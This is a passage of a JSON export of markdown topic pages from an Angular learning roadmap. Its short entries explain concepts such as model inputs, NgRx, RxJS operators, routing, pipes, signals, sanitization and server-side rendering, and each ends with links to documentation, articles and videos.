    "content": "# Model Inputs\n\nModel inputs are a special type of input that enable a component to propagate new values back to another component.  Use model inputs in components that exist to modify a value based on user interaction.\n\nVisit the following resources to learn more:\n\n- [@official@Model Inputs](https://angular.dev/guide/signals/model)\n- [@video@Angular's New Model Inputs: Two-way Communication with your Child Components](https://www.youtube.com/watch?v=frXIBKqzTK0)\n- [@article@Angular Model Inputs: Two-way binding inputs with signals](https://www.codemotion.com/magazine/frontend/angular-model-inputs-two-way-binding-inputs-with-signals/)\n- [@article@Model Inputs: Reactive two-way binding ](https://dev.to/this-is-angular/model-inputs-reactive-two-way-binding-2538)"
  },
  {
    "path": "src/data/roadmaps/angular/content/module-architecture@BCq5sgWQLiw0f7u7ZSAd2.md",
    "content": "# Module Architecture\n\nAngular's **module architecture** uses **NgModules** to organize applications into cohesive units. These modules group related components, directives, pipes, and services, promoting modular development. Key types include the **root module** (entry point), **feature modules** (specific functionality, often lazily loaded), and **shared modules** (reusable code). This approach significantly enhances code organization, scalability, and maintainability.\n\nVisit following resources to learn more:\n\n- [@article@Angular Architecture](https://dev.to/digitaldino/angular-architecture-39no)\n- [@article@Mastering Modular Architecture in Angular - Medium](https://medium.com/@sehban.alam/mastering-modular-architecture-in-angular-4cc2632fc964)"
  },
  {
    "path": "src/data/roadmaps/angular/content/modules@b_kdNS9PDupcUftslkf9i.md",
    "content": "# Angular Modules\n\nModules in Angular act like a container where we can group the components, directives, pipes, and services, related to the application.\n\nVisit the following resources to learn more:\n\n- [@official@Importing and Using Components](https://angular.dev/guide/components/importing)\n- [@official@Introduction to Modules](https://angular.dev/guide/ngmodules)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/multiple-locales@9ISvaaJ815_cr_KW9vQhT.md",
    "content": "# Multiple Locales\n\nTo deploy an Angular application with multiple locales, follow these steps:\n\n1. Place different versions of your app in locale-specific directories\n2. Use the HTML `<base>` tag with the `href` attribute to set the base URL for relative links.\n3. Deploy each language version in a different subdirectory. Redirect users to their preferred language based on the `Accept-Language` HTTP header.\n\nVisit the following resources to learn more:\n\n- [@official@Deploy Multiple Locales](https://angular.dev/guide/i18n/deploy)\n- [@video@How Make Multi-Language Angular Websites - Full Guidance On Angular Localization](https://www.youtube.com/watch?v=vSwYuyH4kMA)"
  },
  {
    "path": "src/data/roadmaps/angular/content/ngrx@ir94IdkF1tVAA8ZTD9r0N.md",
    "content": "# NgRx\n\nNgRx is a framework for building reactive applications in Angular. NgRx simplifies managing application state by enforcing unidirectional data flow and providing tools like NgRx Store, NgRx Effects, NgRx Router Store, NgRx Signals, NgRx Entity, and NgRx Operators.\n\nVisit the following resources to learn more:\n\n- [@official@What is NGRX?](https://ngrx.io/docs)\n- [@article@Angular NgRx Store and Effects Crash Course](https://blog.angular-university.io/angular-ngrx-store-and-effects-crash-course/)\n- [@video@Angular State Management with NgRx](https://www.youtube.com/watch?v=a3_GW3RBqn0)\n- [@video@Angular NgRx Signal Store Crash Course (For NgRx Beginners)](https://www.youtube.com/watch?v=HqxY0JPlh54)\n- [@video@NgRx Best Practices](https://youtu.be/yYiO-kjmLAc?si=7J_JkOdbyocfb5m_)\n- [@video@Angular Course with NgRx - Building Angular Project From Scratch](https://www.youtube.com/watch?v=vcfZ0EQpYTA)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/ngxs@N9ZCPgFnFIUv4jMv1w5qK.md",
    "content": "# Ngxs\n\nNgxs is a state management pattern for the Angular framework. It acts as a single source of truth for our application. Ngxs is very simple and easily implementable. It reduce lots of boilerplate code . It is a replacement for Ngrx. In Ngrx we are creating state, action, reducer, and effects but in Ngxs, we are creating only state and actions instead of all of this. Like Ngrx, Ngxs is also asynchronous and when we dispatch any action we can get a response back.\n\nVisit the following resources to learn more:\n\n- [@official@What is NGXS?](https://www.ngxs.io/)\n- [@article@Details about NGXS](https://medium.com/@knoldus/introduction-to-ngxs-state-management-pattern-library-for-angular-ec76f681ceba)\n- [@video@Practice of NGXS](https://www.youtube.com/watch?v=SGj11j4hxmg)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/observable-lifecycle@b06Y5YrqBbHhWkK6Ws_1c.md",
    "content": "# Observable lifecycle\n\nAn observable is a function that acts as a wrapper for a data stream. They support to pass messages inside your application. An observable is useless until an observer subscribes to it. An observer is an object which consumes the data emitted by the observable. An observer keeps receiving data values from the observable until the observable is completed, or the observer unsubscribes from the observable. Otherwise observers can receive data values from the observable continuously and asynchronously. So we can perform various operations such as updating the user interface, or passing the JSON response.\n\nThere are 4 stages for a life cycle of an observable.\n\n- Creation\n- Subscription\n- Execution\n- Destruction\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Observable LifeCycle](https://medium.com/analytics-vidhya/understanding-rxjs-observables-ad5b34d9607f)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/observable-pattern@krXA6ua7E3m4IIpFkgQZe.md",
    "content": "# Observer Pattern\n\nThe observer pattern is a software design pattern in which an object, named the subject, maintains a list of its dependents, called observers, and notifies them automatically of any state changes, usually by calling one of their methods.\n\nAngular uses the Observer pattern which simply means — Observable objects are registered, and other objects observe (in Angular using the subscribe method) them and take action when the observable object is acted on in some way.\n\nVisit the following resources to learn more:\n\n- [@article@Angular and Observable](https://medium.com/fuzzycloud/angular-and-observable-4bf890b2a282)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/operators@ihsjIcF0tkhjs56458teE.md",
    "content": "# RxJS Operators\n\nRxJS operators are crucial functions that enable the declarative composition of complex asynchronous code. There are two primary types: **Pipeable Operators**, such as `filter()` or `mergeMap()`, which are chained using the `observableInstance.pipe()` method to transform an existing Observable into a new one without altering the original; and **Creation Operators**, like `of()` or `interval()`, which are standalone functions used to generate new Observables from scratch. This modular approach to handling asynchronous data streams greatly enhances code readability and maintainability.\n\nVisit the following resources to learn more:\n\n- [@official@List of Creation Operators](https://www.learnrxjs.io/learn-rxjs/operators/creation)\n- [@article@Full RxJS Operators Documentation](https://www.learnrxjs.io/learn-rxjs/operators/)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/parent-child-interaction@TDyFjKrIZJnCjEZsojPNQ.md",
    "content": "# Parent-Child Interaction\n\nIn angular parent-child communication is commonly used to share data between two components.\n\nVisit the following resources to learn more:\n\n- [@official@Component Interaction](https://angular.io/guide/component-interaction)\n- [@article@Medium - Parent-Child Communication](https://jaspritk.medium.com/parent-child-communication-in-angular-888373e0b69e)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/performance@STEHxJpwBZxFdQl0zUKxo.md",
    "content": "# Performance\n\nAngular’s performance is enhanced through key strategies such as Deferable Views for improved initial load times, Image Optimization techniques to reduce loading overhead, and mitigation of Zone Pollution to streamline change detection. Additionally, addressing Slow Computations enhances runtime efficiency, while Hydration techniques support faster, more interactive server-side rendered applications.\n\nLearn more from the following resources:\n\n- [@official@Performance Overview](https://angular.dev/best-practices/runtime-performance)\n- [@article@The Complete Angular Performance Guide](https://danielk.tech/home/complete-angular-performance-guide)\n- [@video@From Good to Great: Optimizing Angular Performance](https://www.youtube.com/watch?v=tMxrY7IL-Ac)"
  },
  {
    "path": "src/data/roadmaps/angular/content/pipes-precedence@nZxZnzbQg9dz-SI65UHq9.md",
    "content": "# Pipes Precedence\n\nThe pipe operator has a higher precedence than the JavaScript ternary operator.\n\nYou should always use parentheses to be sure Angular evaluates the expression as you intend.\n\n```\n(condition ? a : b) | pipe\n```\n\nVisit the following resources to learn more:\n\n- [@official@Precedence](https://angular.dev/guide/pipes/precedence)\n- [@article@What is the precedence between pipe and ternary operators?](https://iq.js.org/questions/angular/what-is-the-precedence-between-pipe-and-ternary-operators)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/pipes@j99WQxuTzGeBBVoReDp_y.md",
    "content": "# Builtin pipes\n\nUse pipes to transform strings, currency amounts, dates, and other data for display. Pipes are simple functions to use in template expressions to accept an input value and return a transformed value. Pipes are useful because you can use them throughout your application , some common pipes are `DatePipe` | `UpperCasePipe` | `LowerCasePipe` | `CurrencyPipe` | `DecimalPipe` | `PercentPipe`\n\nVisit the following resources to learn more:\n\n- [@official@Understanding Pipes](https://angular.dev/tutorials/learn-angular/22-pipes)\n- [@article@BuiltIn Pipes - examples](https://codecraft.tv/courses/angular/pipes/built-in-pipes/)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/property-binding@TJOZfHtsLfwA0CZ2bd1b2.md",
    "content": "# Property binding\n\nProperty binding helps you set values for properties of HTML elements or directives. To bind to an element's property, enclose it in square brackets `[]` which causes Angular to evaluate the right-hand side of the assignment as a dynamic expression.\n\nVisit the following resources to learn more:\n\n- [@official@Property Binding](https://angular.dev/guide/templates/property-binding)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/provider@dOMvz__EQjO-3p-Nzm-7P.md",
    "content": "# Provider\n\nConfigure the injector of component with a token that maps to a provider of a dependency.\n\nVisit the following resources to learn more:\n\n- [@official@Defining dependency providers](https://angular.dev/guide/di/defining-dependency-providers)\n- [@official@Component API](https://angular.dev/api/core/Component#providers)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/queries-as-signals@9HS9C3yq9EUcUy0ZUZk_H.md",
    "content": "# Queries as Signals\n\nA component or directive can define queries that find child elements and read values from their injectors. Developers most commonly use queries to retrieve references to components, directives, DOM elements, and more. There are two categories of query: view queries and content queries.\n\nVisit the following resources to learn more:\n\n- [@official@Queries as Signals](https://angular.dev/guide/signals/queries)\n- [@article@Querying made easy: exploring Angular's query signals](https://netbasal.com/querying-made-easy-exploring-angulars-query-signals-ca850b5db892)\n- [@video@Angular Signal Queries with the viewChild() and contentChild() functions](https://www.youtube.com/watch?v=b35ts9OinBc)"
  },
  {
    "path": "src/data/roadmaps/angular/content/rate-limiting@bJbbayFQ9WSJT9-qy0H5l.md",
    "content": "# Rate limiting\n\nRate limiting in RxJS refers to the practice of restricting the rate at which events or data can be emitted from an observable. This can be useful in situations where the rate of incoming data is higher than the rate at which it can be processed, or where there are limits on the number of requests that can be made to a server. There are a few different operators in RxJS that can be used for rate limiting, such as throttleTime and sampleTime. These operators can be used to limit the rate of emissions from an observable by discarding emissions that occur too frequently. Another operator is auditTime it emits the last value from the source Observable during periodic time windows.\n\nVisit the following resources to learn more:\n\n- [@article@throttleTime](https://www.learnrxjs.io/learn-rxjs/operators/filtering/throttletime)\n- [@article@auditTime](https://www.learnrxjs.io/learn-rxjs/operators/filtering/audittime)\n- [@article@Blogs and Tutorials on RxJS](https://blog.angular-university.io/functional-reactive-programming-for-angular-2-developers-rxjs-and-observables/)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/reactive-forms@1d3Y4HVnqom8UOok-7EEf.md",
    "content": "# Reactive Forms\n\nReactive Forms in angular are those which used to handle the inputs coming from the user. We can define controls by using classes such as FormGroup and FormControl.\n\nVisit the following resources to learn more:\n\n- [@official@Reactive Forms - Angular](https://angular.dev/guide/forms/reactive-forms)\n- [@article@How To Use Reactive Forms in Angular](https://www.digitalocean.com/community/tutorials/angular-reactive-forms-introduction)\n- [@video@Reactive Form in Angular](https://www.youtube.com/watch?v=8k4ctDmVn7w)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/reusable-animations@M1CU2Yq6dLp4yOuGV0fhF.md",
    "content": "# Reusable Animations\n\nTo create a reusable animation, use the `animation()` function to define an animation in a separate .ts file and declare this animation definition as a const export variable. You can then import and reuse this animation in any of your application components using the `useAnimation()` function.\n\nVisit the following resources to learn more:\n\n- [@official@Reusable Animations](https://angular.dev/guide/animations/reusable-animations)\n- [@article@Reusable Animations with Angular](https://catalincodes.com/posts/reusable-animations-with-angular)\n- [@video@Angular Animations: Creating reusable animations!](https://www.youtube.com/watch?v=ObYCutiBOTo)"
  },
  {
    "path": "src/data/roadmaps/angular/content/route-transitions@x91jWP81oCTeVEwzX8FbK.md",
    "content": "# Route Transitions\n\nWhen a user navigates from one route to another, the Angular router maps the URL path to a relevant component and displays its view. Animating this route transition can greatly enhance the user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Route transition animations](https://angular.dev/guide/animations/route-animations)\n- [@article@Add Router Animation Transitions for navigation in Angular 17](https://dev.to/this-is-angular/add-router-animation-transitions-for-navigation-in-angular-17-2m5a)\n- [@video@Angular Animations: Router transitions](https://www.youtube.com/watch?v=7d8UDEKT1pU)"
  },
  {
    "path": "src/data/roadmaps/angular/content/router-events@YF_sG292HqawIX0siWhrv.md",
    "content": "# Router Events\n\nThe Angular Router raises events when it navigates from one route to another route. It raises several events such as `NavigationStart`, `NavigationEnd`, `NavigationCancel`, `NavigationError`, `ResolveStart`, etc. You can listen to these events and find out when the state of the route changes. Some of the useful events are route change start (NavigationStart) and route change end (NavigationEnd).\n\nVisit the following resources to learn more:\n\n- [@official@Router Reference - Router events](https://angular.dev/guide/routing/router-reference#router-events)\n- [@official@Router Event - API](https://angular.dev/api/router/RouterEvent)\n- [@article@Router events in Angular](https://medium.com/@gurunadhpukkalla/router-events-in-angular-3112a3968660)"
  },
  {
    "path": "src/data/roadmaps/angular/content/router-links@8lFyuSx4MUcYRY2L8bZrq.md",
    "content": "# Router links\n\nIn Angular, routerLink when applied to an element in a template, makes that element a link that initiates navigation to a route. Navigation opens one or more routed components in one or more `<router-outlet>` locations on the page.\n\nVisit the following resources to learn more:\n\n- [@official@Router Reference - Router links](https://angular.dev/guide/routing/router-reference#router-links)\n- [@official@Router Link - API](https://angular.dev/api/router/RouterLink)\n- [@article@Angular Router: Navigation Using RouterLink, Navigate, or NavigateByUrl](https://www.digitalocean.com/community/tutorials/angular-navigation-routerlink-navigate-navigatebyurl)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/router-outlets@1ZwdEL0Gx30Vv_Av3ZTGG.md",
    "content": "# Router outlets\n\nThe router-outlet is a directive that's available from the @angular/router package and is used by the router to mark where in a template, a matched component should be inserted.\n\nThanks to the router outlet, your app will have multiple views/pages and the app template acts like a shell of your application. Any element, you add to the shell will be rendered in each view, only the part marked by the router outlet will be changed between views.\n\nVisit the following resources to learn more:\n\n- [@official@Router Reference - Router Outlet](https://angular.dev/guide/routing/router-reference#router-outlet)\n- [@official@Router Outlet - API](https://angular.dev/api/router/RouterOutlet)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/routing@8i_JD1P4gIhY1rdldwLC2.md",
    "content": "# Routing\n\nTracking and controlling focus in a UI is an important consideration in designing for accessibility. When using Angular routing, you should decide where page focus goes upon navigation.\n\nVisit the following resources to learn more:\n\n- [@official@a11y routing](https://angular.dev/best-practices/a11y#routing)\n- [@article@Accessibility - Focus](https://web.dev/learn/accessibility/focus/)\n- [@article@Router events in Angular](https://medium.com/@gurunadhpukkalla/router-events-in-angular-3112a3968660)"
  },
  {
    "path": "src/data/roadmaps/angular/content/routing@a74v78SvGtWduZpXs7wSq.md",
    "content": "# Routing\n\nRouting in Angular allows the users to create a single-page application with multiple views and allows navigation between them.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Routing](https://angular.dev/guide/routing)\n- [@official@Common Routing Tasks](https://angular.dev/guide/routing/common-router-tasks)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/rxjs-basics@lfp7PIjwITU5gBITQdirD.md",
    "content": "# RxJS Basics\n\nReactive Extensions for JavaScript, or RxJS, is a reactive library used to implement reactive programming to deal with async implementation, callbacks, and event-based programs.\n\nThe reactive paradigm can be used in many different languages through the use of reactive libraries. These libraries are downloaded APIs that provide functionalities for reactive tools like observers and operators. It can be used in your browser or with Node.js.\n\nVisit the following resources to learn more:\n\n- [@article@Learn RxJS](https://www.learnrxjs.io/)\n- [@article@RxJs and Observables for Beginners: A Beginner Friendly Introduction](https://blog.angular-university.io/functional-reactive-programming-for-angular-2-developers-rxjs-and-observables/)\n- [@video@Beginner's RxJS Tutorial: Dive Deep with RxJS Crash Course!](https://www.youtube.com/watch?v=yJdh1_FbtjU)"
  },
  {
    "path": "src/data/roadmaps/angular/content/rxjs-interop@KAdtebWvgvMifIwd52yc4.md",
    "content": "# RxJS Interop\n\nAngular's `@angular/core/rxjs-interop` package provides useful utilities to integrate Angular Signals with RxJS Observables. Use a `toSignal` function to create a signal that tracks the value of an Observable. Use the `toObservable` utility to create an Observable which tracks the value of a signal.\n\nVisit the following resources to learn more:\n\n- [@official@RxJS Interop](https://angular.dev/guide/signals/rxjs-interop)\n- [@article@Angular Signals RxJS Interop from a Practical example](https://angular.love/en/angular-signals-rxjs-interop-from-a-practical-example)\n- [@video@Angular Signals RxJs Interoperability: toObservable() (Guess the Behavior)](https://www.youtube.com/watch?v=cam39UyVbpI)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/rxjs-vs-promises@e1ZmmxPZuogCNgtbPPWmd.md",
    "content": "# RxJS vs Promises\n\nIn a nutshell, the main differences between the Promise and the Observable are as follows:\n\n- The Promise is eager, whereas the Observable is lazy,\n- The Promise is always asynchronous, while the Observable can be either asynchronous or synchronous,\n- The Promise can provide a single value, whereas the Observable is a stream of values (from 0 to multiple values), you can apply RxJS operators to the Observable to get a new tailored stream.\n\nVisit the following resources to learn more:\n\n- [@article@Why RxJS? RxJS vs Promises](https://javascript.plainenglish.io/why-rxjs-rxjs-vs-promises-b28962771d68)\n- [@feed@Explore top posts about RxJS](https://app.daily.dev/tags/rxjs?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/sanitization@cgI9oeUHufA-ky_W1zENe.md",
    "content": "# Sanitization\n\nSanitization is the inspection of an untrusted value, turning it into a value that's safe to insert into the DOM. In many cases, sanitization doesn't change a value at all. Sanitization depends on context: A value that's harmless in CSS is potentially dangerous in a URL.\n\nAngular sanitizes untrusted values for HTML and URLs. Sanitizing resource URLs isn't possible because they contain arbitrary code. In development mode, Angular prints a console warning when it has to change a value during sanitization.\n\nVisit the following resources to learn more:\n\n- [@official@Sanitization and Security Contexts](https://angular.dev/best-practices/security#sanitization-and-security-contexts)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/schematics@Uvr0pRk_fOzwRwqn0dQ6N.md",
    "content": "# Schematics\n\nA schematic is a template-based code generator that supports complex logic. It is a set of instructions for transforming a software project by generating or modifying code.\n\nVisit the following resources to learn more:\n\n- [@official@Generating Code using Schematics](https://angular.dev/tools/cli/schematics)\n- [@article@Angular Blog](https://blog.angular.io/schematics-an-introduction-dc1dfbc2a2b2?gi=ad9571373944)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/security@mm6c7GLQEwoQdAHdAYzGh.md",
    "content": "# Security\n\nThis topic describes Angular's built-in protections against common web-application vulnerabilities and attacks such as cross-site scripting attacks. It doesn't cover application-level security, such as authentication and authorization.\n\nVisit the following resources to learn more:\n\n- [@official@Security](https://angular.dev/best-practices/security)\n- [@official@Open Web Application Security Project (OWASP)](https://owasp.org/)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/selector@cDN0PGo-zkcLmttxCiAI-.md",
    "content": "# Selector\n\nIn Angular, the `selector` metadata is a crucial property defined within the `@Component` decorator that specifies how the component can be identified and used in HTML templates. It determines the way the component is rendered in the DOM, allowing developers to create reusable and easily identifiable components.\n\nVisit the following resources to learn more:\n\n- [@official@Component Selectors](https://angular.dev/guide/components/selectors)\n- [@official@Component - API](https://angular.dev/api/core/Component#selector)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/services---remote-data@CpsoIVoCKaZnM_-BbXbCh.md",
    "content": "# Services\n\nServices let you define code or functionalities that are then accessible and reusable in many other components in the Angular project. It also helps you with the abstraction of logic and data that is hosted independently but can be shared across other components.\n\nVisit the following resources to learn more:\n\n- [@official@Creating an Injectable Service](https://angular.dev/guide/di/creating-injectable-service)\n- [@article@Service for API Calls](https://www.knowledgehut.com/blog/web-development/make-api-calls-angular)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/services-with-dependencies@TGRZBizDy83JKg_MhnRdX.md",
    "content": "# Testing services with dependencies\n\nWhen you add a dependency to your service, you must also include it in your tests. For isolated tests, pass an instance of the injectable dependency class into the service’s constructor. Using the `inject` function can add complexity. Injecting the real service is often impractical because dependent services can be difficult to create and control. Instead, mock the dependency, use a dummy value, or create a spy on the relevant service method. By using the TestBed testing utility, you can let Angular’s dependency injection handle service creation and manage constructor argument order.\n\nVisit the following resources to learn more:\n\n- [@official@Testing Services](https://angular.dev/guide/testing/services)\n- [@article@Testing-Angular.com](https://testing-angular.com/testing-services/)\n- [@video@Testing the Service which has another service injected through Dependency Injection](https://www.youtube.com/watch?v=ACb8wqwgOV4)\n- [@video@Testing Services which has HttpClient as dependency by using Jasmine Spy](https://www.youtube.com/watch?v=15othucRXcI)\n- [@video@Angular Unit Tests with the inject() function](https://www.youtube.com/watch?v=Tvsa4OMUGXs)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/setting-up-a-new-project@EbFRcy4s6yzzIApBqU77Y.md",
    "content": "# Setting up a New Project\n\nSetting up a new Angular project is streamlined by the **Angular CLI**, a command-line interface that automates the initial setup. First, ensure Node.js and npm are installed, then globally install the CLI itself via `npm install -g @angular/cli`. With the CLI in place, navigate to your desired directory and initiate a new project using `ng new your-project-name`, where you'll be prompted to configure options like routing and stylesheet format, with the `--standalone` flag being a common addition for modern projects. Once the project is scaffolded and dependencies are installed, change into your new project directory (`cd your-project-name`) and launch the development server with `ng serve`, making your new Angular application accessible in your browser, typically at `http://localhost:4200/`.\n\nVisit the following resources to learn more:\n\n- [@official@Installation](https://angular.dev/installation)\n- [@official@Setting up the local environment and workspace](https://angular.dev/tools/cli/setup-local)\n- [@official@Build your first Angular app](https://angular.dev/tutorials/first-app)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/setting-up-the-client@AKPhbg10xXjccO7UBh5eJ.md",
    "content": "# Setting Up the Client\n\nBefore you can use `HttpClient` in your app, you must configure it using dependency injection. `HttpClient` is provided using the `provideHttpClient` helper function, which most apps include in the application providers in `app.config.ts`. If your app is using NgModule-based bootstrap instead, you can include `provideHttpClient` in the providers of your app's `NgModule`.\n\nVisit the following resources to learn more:\n\n- [@official@Setting up HttpClient](https://angular.dev/guide/http/setup)\n- [@video@Setting up HttpClient in Angular (NgModule)](https://www.youtube.com/watch?v=hBFtim1vO3M)"
  },
  {
    "path": "src/data/roadmaps/angular/content/signals@u1TG8i145o0RKhOR_5epf.md",
    "content": "# Signals\n\nAngular Signals is a system that granularly tracks how and where your state is used throughout an application, allowing the framework to optimize rendering updates.\n\nVisit the following resources to learn more:\n\n- [@official@Signals](https://angular.dev/guide/signals)\n- [@video@Signals Unleashed: The Full Guide](https://www.youtube.com/watch?v=6W6gycuhiN0&t=169s)\n- [@article@Angular Signals Complete Guide](https://blog.angular-university.io/angular-signals/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/slow-computations@yxUtSBzJPRcS-IuPsyp-W.md",
    "content": "# Slow Computations\n\nOn every change detection cycle, Angular synchronously evaluates all template expressions in components based on their detection strategy and executes the `ngDoCheck`, `ngAfterContentChecked`, `ngAfterViewChecked`, and `ngOnChanges` lifecycle hooks. To remove slow computations, you can optimize algorithms, cache data with pure pipes or memoization, and limit lifecycle hook usage.\n\nVisit the following resources to learn more:\n\n- [@official@Slow Computations](https://angular.dev/best-practices/slow-computations)\n- [@article@Angular Performance Optimization](https://davembush.medium.com/angular-performance-optimization-5ec630d2b8f1)"
  },
  {
    "path": "src/data/roadmaps/angular/content/ssg@b-0yQ74zHtAxI9aRLBohc.md",
    "content": "# Angular SSG\n\nSSG (Static Site Generator) helps in building the HTML full website during the process of building and serving that HTML page. This method helps to generate the HTML website on the client side before it's served on the server side. Therefore, whenever a user requests a HTML page, the HTML page will be rendered, and secondly, the Angular app will be rendered. The SSG can be used only if your website is static or its content doesn't change frequently.\n\nVisit the following resources to learn more:\n\n- [@official@Prerendering (SSG)](https://angular.dev/guide/prerendering)\n- [@video@Angular 16 Pre Rendering Static Pages - Static Site Generation SSG](https://www.youtube.com/watch?v=vmOWJvm3apA)\n- [@podcast@Angular Air with Alyssa Nicoll - SSR, SSG, ISR, & SOS](https://www.youtube.com/watch?v=b0pUU7RJbBQ)"
  },
  {
    "path": "src/data/roadmaps/angular/content/ssr@jfHaS8TqE4tcAo59K8Nkn.md",
    "content": "# SSR in Angular\n\nA normal Angular application executes in the browser, rendering pages in the DOM in response to user actions. Angular Universal executes on the server, generating static application pages that later get bootstrapped on the client. This means that the application generally renders more quickly, giving users a chance to view the application layout before it becomes fully interactive.\n\nVisit the following resources to learn more:\n\n- [@official@Server-side Rendering](https://angular.dev/guide/ssr)\n- [@article@Rendering on the Web](https://web.dev/rendering-on-the-web/)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/standalone@RcNHEh6kmbBK1PICbhAwr.md",
    "content": "# Standalone\n\nA standalone component is a component that sets `standalone: true` in its component metadata. Standalone components directly import other components, directives, and pipes used in their templates\n\nVisit the following resources to learn more:\n\n- [@official@Standalone Components](https://angular.dev/guide/components/importing#standalone-components)\n- [@official@Component - API](https://angular.dev/api/core/Component#standalone)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/state-management@Mqe_s-nwBqAL6X7OGRHEN.md",
    "content": "# State Management\n\nApplication state management is the process of maintaining knowledge of an application's inputs across multiple related data flows that form a complete business transaction -- or a session -- to understand the condition of the app at any given moment. In computer science, an input is information put into the program by the user and state refers to the condition of an application according to its stored inputs -- saved as variables or constants. State can also be described as the collection of preserved information that forms a complete session.\n\nVisit the following resources to learn more:\n\n- [@article@What is State Management?](https://www.techtarget.com/searchapparchitecture/definition/state-management)\n- [@article@Angular state management made simple with NgRx](https://blog.logrocket.com/angular-state-management-made-simple-with-ngrx/)\n- [@article@Angular State Management with NgRx](https://www.syncfusion.com/blogs/post/angular-state-management-with-ngrx.aspx)\n- [@article@State Management and the Facade pattern in Angular](https://thefullstack.engineer/full-stack-development-series-part-10-state-management-and-the-facade-pattern-in-angular)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/structural-directives@xk3v8p6vf8ntGj5c-IU4U.md",
    "content": "# Structural Directives\n\nStructural directives are directives applied to an `<ng-template>` element that conditionally or repeatedly renders the content of that `<ng-template>`. If you just wrap elements in an `<ng-template>` without applying a structural directive, those elements will not be rendered.\n\nIn Angular, there are three standard structural directives:\n\n- `*ngIf` – conditionally includes a template depending on the value of an expression returned by a Boolean.\n- `*ngFor` – makes it simple to iterate over an array.\n- `*ngSwitch` – renders each matching view.\n\nVisit the following resources to learn more:\n\n- [@official@Structural Directives](https://angular.dev/guide/directives/structural-directives)\n- [@article@Structural Directives in Angular](https://medium.com/@eugeniyoz/structural-directives-in-angular-61fe522f3427)\n- [@article@Angular Structural Directive Patterns: What they are and how to use them](https://www.freecodecamp.org/news/angular-structural-directive-patterns-what-they-are-and-how-to-use-them/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/styles@4XJKEmSrQfPxggHlAP30w.md",
    "content": "# Styles\n\nThis metadata allows developers to apply CSS styles directly to a component, enhancing its appearance and ensuring that styles are scoped to that particular component.\n\nVisit the following resources to learn more:\n\n- [@official@Styling Components](https://angular.dev/guide/components/styling)\n- [@official@Component Style - API](https://angular.dev/api/core/Component#styles)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/switch@nZuim4Fjq6jYOXcRTAEay.md",
    "content": "# @switch\n\nThe `@switch` blocks displays content selected by one of the cases matching against the conditional expression. The value of the conditional expression is compared to the case expression using the `===` operator. `@switch` does not have fallthrough, so you do not need an equivalent to a break or return statement.\n\nVisit the following resources to learn more:\n\n- [@official@\\@switch](https://angular.dev/guide/templates/control-flow#switch-block---selection)\n- [@article@Angular @switch: Complete Guide](https://blog.angular-university.io/angular-switch/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/template-driven-forms@uDx4lPavwsJFBMzdQ70CS.md",
    "content": "# Template Driven Forms\n\nA Template driven form is the simplest form we can build in Angular. It is mainly used for creating simple form application.\n\nIt uses two-way data-binding (ngModel) to create and handle the form components.\n\nVisit the following resources to learn more:\n\n- [@official@Building a Template-driven Form](https://angular.dev/guide/forms/template-driven-forms)\n- [@article@Template-Driven Forms](https://codecraft.tv/courses/angular/forms/template-driven/)\n- [@video@Template driven form](https://www.youtube.com/watch?v=whr14XxB8-M)\n- [@video@Template driven form Validations](https://www.youtube.com/watch?v=cVd4ZCIXprs)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/template-ref-vars@nyDry6ZWyEUuTq4pw-lU3.md",
    "content": "# Reference vars\n\nTemplate reference variables help you use data from one part of a template in another part of the template. A template variable can refer to a DOM element within a template, component or directive. In the template, use the hash symbol, `#`, to declare a template reference variable.\n\nVisit the following resources to learn more:\n\n- [@official@Reference Variables](https://angular.dev/guide/templates/reference-variables)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/template-statements@t2YOeMONlcnKBrVAo0JDc.md",
    "content": "# Template statements\n\nTemplate statements are methods or properties that you can use in your HTML to respond to user events. With template statements, your application can engage users through actions such as displaying dynamic content or submitting forms. Enclose the event in `()` which causes Angular to evaluate the right hand side of the assignment as one or more template statements chained together using semicolon `;`.\n\nVisit the following resources to learn more:\n\n- [@official@Template Statements](https://angular.dev/guide/templates/template-statements)\n- [@official@Understanding Template Statements](https://angular.dev/guide/templates/template-statements#)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/template-syntax@VsC7UmE_AumsBP8fC6to1.md",
